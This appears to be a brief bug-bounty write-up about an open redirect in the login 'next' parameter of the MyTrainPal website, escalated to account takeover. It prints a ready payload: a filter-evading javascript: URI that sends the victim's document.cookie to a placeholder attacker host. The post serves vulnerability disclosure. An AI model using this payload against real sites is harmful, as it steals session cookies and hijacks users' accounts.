Open Redirect To Account TakeOver

Open Redirect To Account TakeOver

Today, I’m thrilled to share my adventure of discovering a critical flaw in the MyTrainPal website—an open redirect vulnerability that could potentially lead to account takeover.

The Discovery: A vulnerability in the next parameter of the login URL.

Proof of Concept (POC): https://www.mytrainpal.com/signin?next=[MALICIOUS_WEBSITE]

The Exploitation: By injecting a JavaScript payload into the next parameter, I was able to steal cookies from a logged-in user.

Example payload: https://www.mytrainpal.com/signin?next=j%09avascript:document.location='http://{attackersite.com}/'+document.cookie
